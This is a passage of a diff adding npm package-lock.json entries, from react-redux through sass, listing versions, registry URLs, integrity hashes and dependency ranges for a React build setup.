"peerDependencies": { + "react": "^16.8.3 || ^17 || ^18" + }, + "peerDependenciesMeta": { + "react-dom": { + "optional": true + }, + "react-native": { + "optional": true + } + } + }, + "node_modules/react-redux/node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==" + }, + "node_modules/react-refresh": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.11.0.tgz", + "integrity": "sha512-F27qZr8uUqwhWZboondsPx8tnC3Ct3SxZA3V5WyEvujRyyNv0VYPhoBg1gZ8/MV5tubQp76Trw8lTv9hzRBa+A==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-router": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-5.3.4.tgz", + "integrity": "sha512-Ys9K+ppnJah3QuaRiLxk+jDWOR1MekYQrlytiXxC1RyfbdsZkS5pvKAzCCr031xHixZwpnsYNT5xysdFHQaYsA==", + "dependencies": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "hoist-non-react-statics": "^3.1.0", + "loose-envify": "^1.3.1", + "path-to-regexp": "^1.7.0", + "prop-types": "^15.6.2", + "react-is": "^16.6.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/react-router-dom": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-5.3.4.tgz", + "integrity": "sha512-m4EqFMHv/Ih4kpcBCONHbkT68KoAeHN4p3lAGoNryfHi0dMy0kCzEZakiKRsvg5wHZ/JLrLW8o8KomWiz/qbYQ==", + "dependencies": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "loose-envify": "^1.3.1", + "prop-types": "^15.6.2", + "react-router": "5.3.4", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/react-router-hash-link": { + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/react-router-hash-link/-/react-router-hash-link-2.4.3.tgz", + "integrity": "sha512-NU7GWc265m92xh/aYD79Vr1W+zAIXDWp3L2YZOYP4rCqPnJ6LI6vh3+rKgkidtYijozHclaEQTAHaAaMWPVI4A==", + "dependencies": { + "prop-types": "^15.7.2" + }, + "peerDependencies": { + "react": ">=15", + "react-router-dom": ">=4" + } + }, + "node_modules/react-scripts": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/react-scripts/-/react-scripts-5.0.1.tgz", + "integrity": "sha512-8VAmEm/ZAwQzJ+GOMLbBsTdDKOpuZh7RPs0UymvBR2vRk4iZWCskjbFnxqjrzoIvlNNRZ3QJFx6/qDSi6zSnaQ==", + "dependencies": { + "@babel/core": "^7.16.0", + "@pmmmwh/react-refresh-webpack-plugin": "^0.5.3", + "@svgr/webpack": "^5.5.0", + "babel-jest": "^27.4.2", + "babel-loader": "^8.2.3", + "babel-plugin-named-asset-import": "^0.3.8", + "babel-preset-react-app": "^10.0.1", + "bfj": "^7.0.2", + "browserslist": "^4.18.1", + "camelcase": "^6.2.1", + "case-sensitive-paths-webpack-plugin": "^2.4.0", + "css-loader": "^6.5.1", + "css-minimizer-webpack-plugin": "^3.2.0", + "dotenv": "^10.0.0", + "dotenv-expand": "^5.1.0", + "eslint": "^8.3.0", + "eslint-config-react-app": "^7.0.1", + "eslint-webpack-plugin": "^3.1.1", + "file-loader": "^6.2.0", + "fs-extra": "^10.0.0", + "html-webpack-plugin": "^5.5.0", + "identity-obj-proxy": "^3.0.0", + "jest": "^27.4.3", + "jest-resolve": "^27.4.2", + "jest-watch-typeahead": "^1.0.0", + "mini-css-extract-plugin": "^2.4.5", + "postcss": "^8.4.4", + "postcss-flexbugs-fixes": "^5.0.2", + "postcss-loader": "^6.2.1", + "postcss-normalize": "^10.0.1", + "postcss-preset-env": "^7.0.1", + "prompts": "^2.4.2", + "react-app-polyfill": "^3.0.0", + "react-dev-utils": "^12.0.1", + "react-refresh": "^0.11.0", + "resolve": "^1.20.0", + "resolve-url-loader": "^4.0.0", + "sass-loader": "^12.3.0", + "semver": "^7.3.5", + "source-map-loader": "^3.0.0", + "style-loader": "^3.3.1", + "tailwindcss": "^3.0.2", + "terser-webpack-plugin": "^5.2.5", + "webpack": "^5.64.4", + "webpack-dev-server": "^4.6.0", + "webpack-manifest-plugin": "^4.0.2", + "workbox-webpack-plugin": "^6.4.1" + }, + "bin": { + "react-scripts": "bin/react-scripts.js" + }, + "engines": { + "node": ">=14.0.0" + }, + "optionalDependencies": { + "fsevents": "^2.3.2" + }, + "peerDependencies": { + "react": ">= 16", + "typescript": "^3.2.1 || ^4" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/react-scripts/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/react-scripts/node_modules/semver": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/react-scripts/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, + "node_modules/read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dependencies": { + "pify": "^2.3.0" + } + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/recursive-readdir": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/recursive-readdir/-/recursive-readdir-2.2.3.tgz", + "integrity": "sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==", + "dependencies": { + "minimatch": "^3.0.5" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/redent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", + "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "dev": true, + "dependencies": { + "indent-string": "^4.0.0", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/redux": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/redux/-/redux-4.2.1.tgz", + "integrity": "sha512-LAUYz4lc+Do8/g7aeRa8JkyDErK6ekstQaqWQrNRW//MY1TvCEpMtpTWvlQ+FPbWCx+Xixu/6SHt5N0HR+SB4w==", + "dependencies": { + "@babel/runtime": "^7.9.2" + } + }, + "node_modules/redux-thunk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/redux-thunk/-/redux-thunk-2.4.2.tgz", + "integrity": "sha512-+P3TjtnP0k/FEjcBL5FZpoovtvrTNT/UXd4/sluaSyrURlSlhLSzEdfsTBW7WsKB6yPvgd7q/iZPICFjW4o57Q==", + "peerDependencies": { + "redux": "^4" + } + }, + "node_modules/reflect.getprototypeof": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.5.tgz", + "integrity": "sha512-62wgfC8dJWrmxv44CA36pLDnP6KKl3Vhxb7PL+8+qrrFMMoJij4vgiMP8zV4O8+CBMXY1mHxI5fITGHXFHVmQQ==", + "dependencies": { + "call-bind": "^1.0.5", + "define-properties": "^1.2.1", + "es-abstract": "^1.22.3", + "es-errors": "^1.0.0", + "get-intrinsic": "^1.2.3", + "globalthis": "^1.0.3", + "which-builtin-type": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regenerate": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==" + }, + "node_modules/regenerate-unicode-properties": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.1.tgz", + "integrity": "sha512-X007RyZLsCJVVrjgEFVpLUTZwyOZk3oiL75ZcuYjlIWd6rNJtOjkBwQc5AsRrpbKVkxN6sklw/k/9m2jJYOf8Q==", + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.14.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz", + "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==" + }, + "node_modules/regenerator-transform": { + "version": "0.15.2", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.2.tgz", + "integrity": "sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==", + "dependencies": { + "@babel/runtime": "^7.8.4" + } + }, + "node_modules/regex-parser": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/regex-parser/-/regex-parser-2.3.0.tgz", + "integrity": "sha512-TVILVSz2jY5D47F4mA4MppkBrafEaiUWJO/TcZHEIuI13AqoZMkK1WMA4Om1YkYbTx+9Ki1/tSUXbceyr9saRg==" + }, + "node_modules/regexp.prototype.flags": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.2.tgz", + "integrity": "sha512-NcDiDkTLuPR+++OCKB0nWafEmhg/Da8aUPLPMQbK+bxKKCm1/S5he+AqYa4PlMCVBalb4/yxIRub6qkEx5yJbw==", + "dependencies": { + "call-bind": "^1.0.6", + "define-properties": "^1.2.1", + "es-errors": "^1.3.0", + "set-function-name": "^2.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regexpu-core": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.3.2.tgz", + "integrity": "sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==", + "dependencies": { + "@babel/regjsgen": "^0.8.0", + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.1.0", + "regjsparser": "^0.9.1", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regjsparser": { + "version": "0.9.1", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.9.1.tgz", + "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==", + "dependencies": { + "jsesc": "~0.5.0" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/regjsparser/node_modules/jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==", + "bin": { + "jsesc": "bin/jsesc" + } + }, + "node_modules/relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/renderkid": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-3.0.0.tgz", + "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==", + "dependencies": { + "css-select": "^4.1.3", + "dom-converter": "^0.2.0", + "htmlparser2": "^6.1.0", + "lodash": "^4.17.21", + "strip-ansi": "^6.0.1" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" + }, + "node_modules/reselect": { + "version": "4.1.8", + "resolved": "https://registry.npmjs.org/reselect/-/reselect-4.1.8.tgz", + "integrity": "sha512-ab9EmR80F/zQTMNeneUr4cv+jSwPJgIlvEmVwLerwrWVbpLlBuls9XHzIeTFy4cegU2NHBp3va0LKOzU5qFEYQ==" + }, + "node_modules/resolve": { + "version": "1.22.8", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz", + "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==", + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-cwd": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", + "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", + "dependencies": { + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve-cwd/node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "engines": { + "node": ">=4" + } + }, + "node_modules/resolve-pathname": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-3.0.0.tgz", + "integrity": "sha512-C7rARubxI8bXFNB/hqcp/4iUeIXJhJZvFPFPiSPRnhU5UPxzMFIl+2E6yY6c4k9giDJAhtV+enfA+G89N6Csng==" + }, + "node_modules/resolve-url-loader": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-url-loader/-/resolve-url-loader-4.0.0.tgz", + "integrity": "sha512-05VEMczVREcbtT7Bz+C+96eUO5HDNvdthIiMB34t7FcF8ehcu4wC0sSgPUubs3XW2Q3CNLJk/BJrCU9wVRymiA==", + "dependencies": { + "adjust-sourcemap-loader": "^4.0.0", + "convert-source-map": "^1.7.0", + "loader-utils": "^2.0.0", + "postcss": "^7.0.35", + "source-map": "0.6.1" + }, + "engines": { + "node": ">=8.9" + }, + "peerDependencies": { + "rework": "1.0.1", + "rework-visit": "1.0.0" + }, + "peerDependenciesMeta": { + "rework": { + "optional": true + }, + "rework-visit": { + "optional": true + } + } + }, + "node_modules/resolve-url-loader/node_modules/convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==" + }, + "node_modules/resolve-url-loader/node_modules/picocolors": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==" + }, + "node_modules/resolve-url-loader/node_modules/postcss": { + "version": "7.0.39", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz", + "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==", + "dependencies": { + "picocolors": "^0.2.1", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + } + }, + "node_modules/resolve-url-loader/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resolve.exports": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-1.1.1.tgz", + "integrity": "sha512-/NtpHNDN7jWhAaQ9BvBUYZ6YTXsRBgfqWFWP7BZBaoMJO/I3G5OFzvTuWNlZC3aPjins1F+TNrLKsGbH4rfsRQ==", + "engines": { + "node": ">=10" + } + }, + "node_modules/restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", + "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", + "dev": true, + "dependencies": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rfdc": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.3.1.tgz", + "integrity": "sha512-r5a3l5HzYlIC68TpmYKlxWjmOP6wiPJ1vWv2HeLhNsRZMrCkxeqxiHlQ21oXmQ4F3SiryXBHhAD7JZqvOJjFmg==", + "dev": true + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rollup": { + "version": "2.79.1", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.79.1.tgz", + "integrity": "sha512-uKxbd0IhMZOhjAiD5oAFp7BqvkA4Dv47qpOCtaNvng4HBwdbWtdOh8f5nZNuk2rp51PMGk3bzfWu5oayNEuYnw==", + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=10.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/rollup-plugin-terser": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz", + "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==", + "deprecated": "This package has been deprecated and is no longer maintained. Please use @rollup/plugin-terser", + "dependencies": { + "@babel/code-frame": "^7.10.4", + "jest-worker": "^26.2.1", + "serialize-javascript": "^4.0.0", + "terser": "^5.0.0" + }, + "peerDependencies": { + "rollup": "^2.0.0" + } + }, + "node_modules/rollup-plugin-terser/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/rollup-plugin-terser/node_modules/jest-worker": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz", + "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/rollup-plugin-terser/node_modules/serialize-javascript": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz", + "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==", + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/rollup-plugin-terser/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/rvfc-polyfill": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/rvfc-polyfill/-/rvfc-polyfill-1.0.7.tgz", + "integrity": "sha512-seBl7J1J3/k0LuzW2T9fG6JIOpni5AbU+/87LA+zTYKgTVhsfShmS8K/yOo1eeEjGJHnAdkVAUUM+PEjN9Mpkw==" + }, + "node_modules/rxjs": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.1.tgz", + "integrity": "sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==", + "dev": true, + "dependencies": { + "tslib": "^2.1.0" + } + }, + "node_modules/safe-array-concat": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.0.tgz", + "integrity": "sha512-ZdQ0Jeb9Ofti4hbt5lX3T2JcAamT9hfzYU1MNB+z/jaEbB6wfFfPIR/zEORmZqobkCCJhSjodobH6WHNmJ97dg==", + "dependencies": { + "call-bind": "^1.0.5", + "get-intrinsic": "^1.2.2", + "has-symbols": "^1.0.3", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">=0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/safe-regex-test": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.3.tgz", + "integrity": "sha512-CdASjNJPvRa7roO6Ra/gLYBTzYzzPyyBXxIMdGW3USQLyjWEls2RgW5UBTXaQVp+OrpeCK3bLem8smtmheoRuw==", + "dependencies": { + "call-bind": "^1.0.6", + "es-errors": "^1.3.0", + "is-regex": "^1.1.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/sanitize.css": { + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/sanitize.css/-/sanitize.css-13.0.0.tgz", + "integrity": "sha512-ZRwKbh/eQ6w9vmTjkuG0Ioi3HBwPFce0O+v//ve+aOq1oeCy7jMV2qzzAlpsNuqpqCBjjriM1lbtZbF/Q8jVyA==" + }, + "node_modules/sass": { + "version": "1.71.0", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.71.0.tgz", + "integrity": "sha512-HKKIKf49Vkxlrav3F/w6qRuPcmImGVbIXJ2I3Kg0VMA+3Bav+8yE9G5XmP5lMj6nl4OlqbPftGAscNaNu28b8w==", + "dependencies": { + "chokidar": ">=3.0.0 <4.0.0", + "immutable": "^4.0.0", + "source-map-js": ">=0.6.2 